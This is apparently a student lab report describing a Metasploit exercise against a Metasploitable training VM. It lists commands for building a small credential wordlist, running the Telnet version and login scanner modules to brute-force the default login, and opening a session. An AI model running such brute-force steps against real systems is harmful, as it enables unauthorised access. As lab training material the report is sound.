**Metasploit Exercise Report: Exploiting Telnet Vulnerability on Metasploitable**

**Exercise Overview**

In this exercise, I used Metasploit to exploit the Telnet vulnerability on a Metasploitable machine. Following the theoretical lesson steps, I configured my Kali machine with IP 192.168.1.25 and the Metasploitable machine with IP 192.168.1.40.**Immagine che contiene testo, schermata, design

Descrizione generata automaticamente**

**Step 1: Creating User and Password Files**

I created two files: users.txt and passwords.txt using the following commands:Immagine che contiene testo, Software multimediale, schermata

Descrizione generata automaticamente

“

echo -e "admin\nuser\nroot\nguest\nmsfadmin" > /tmp/users.txt

echo -e "password\n123456\nadmin\nguest\nmsfadmin\nroot" > /tmp/passwords.txt

“

These files were saved in the /tmp directory.

**Step 2: Launching Metasploit and Using Telnet Version Module**

I started Metasploit with the msfconsole command, then loaded the auxiliary/scanner/telnet/telnet\_version module to identify the Telnet service version on the Metasploitable machine.Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente

“

msf > use auxiliary/scanner/telnet/telnet\_version

msf auxiliary(scanner/telnet/telnet\_version) > set RHOSTS 192.168.1.40

msf auxiliary(scanner/telnet/telnet\_version) > exploit

“

The module successfully identified the Telnet service running on the target machine.

**Step 3: Using Telnet Login Module for Brute Force Attack**

I then used the auxiliary/scanner/telnet/telnet\_login module to perform a brute force attack against the Telnet service, configuring it to use the previously created credential files.Immagine che contiene testo, schermata, Carattere, menu

Descrizione generata automaticamente

“

msf > use auxiliary/scanner/telnet/telnet\_login

msf auxiliary(scanner/telnet/telnet\_login) > set RHOSTS 192.168.1.40

msf auxiliary(scanner/telnet/telnet\_login) > set USER\_FILE /tmp/users.txt

msf auxiliary(scanner/telnet/telnet\_login) > set PASS\_FILE /tmp/passwords.txt

msf auxiliary(scanner/telnet/telnet\_login) > exploit

“

After trying various combinations, the module successfully found the correct credentials: msfadmin:msfadmin.

**Step 4: Establishing Session with Metasploitable Machine**

With valid credentials obtained, I established a Telnet session:Immagine che contiene testo, schermata

Descrizione generata automaticamente

“

msf auxiliary(scanner/telnet/telnet\_login) > sessions -i 1

“

Immagine che contiene testo, schermata, menu, design

Descrizione generata automaticamente

Within the session, I executed several commands to verify access and gather system information:

“

ps aux

ifconfig

“

**Results**

I confirmed the system was running an outdated Linux version with multiple active services. The network configuration and running processes matched the expected configuration for a vulnerable Metasploitable machine. This exercise successfully demonstrated how weak credentials can lead to complete system compromise through Telnet.